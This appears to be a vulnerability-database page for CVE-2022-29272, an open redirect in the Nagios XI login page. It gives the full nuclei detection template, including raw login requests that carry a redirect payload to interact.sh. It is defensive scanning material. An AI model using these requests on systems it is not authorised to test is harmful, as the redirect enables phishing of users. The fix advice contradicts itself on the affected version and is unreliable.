Nagios XI <5.8.5 - Open Redirect

mediumseverity

6.1CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.

Fix

Upgrade Nagios XI to version 5.8.5 or later to mitigate the vulnerability.

How to confirm it

Send: GET /nagiosxi/login.php?redirect=/www.interact.sh ; POST /nagiosxi/login.php
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*…/

Run it with nuclei: nuclei -id CVE-2022-29272 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-29272

info:
  name: Nagios XI <5.8.5 - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade Nagios XI to version 5.8.5 or later to mitigate the vulnerability.
  reference:
    - https://github.com/sT0wn-nl/CVEs/tree/master/CVE-2022-29272
    - https://github.com/4LPH4-NL/CVEs
    - https://github.com/sT0wn-nl/CVEs/blob/master/README.md#nagios-xi
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29272
    - https://assets.nagios.com/downloads/nagiosxi/CHANGES-5.TXT
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29272
    cwe-id: CWE-601
    epss-score: 0.04213
    epss-percentile: 0.91062
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query:
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2022,redirect,nagios,nagiosxi,vuln,vkev

http:
  - raw:
      - |
        GET /nagiosxi/login.php?redirect=/www.interact.sh HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp_token}}&page=auth&debug=&pageopt=login&redirect=%2Fwww.interact.sh&username={{username}}&password={{password}}&loginButton=Login

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

    extractors:
      - type: regex
        name: nsp_token
        group: 1
        regex:
          - '<input type="hidden" name="nsp" value="(.*)">'
          - "<input type='hidden' name='nsp' value='(.*)'>"
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from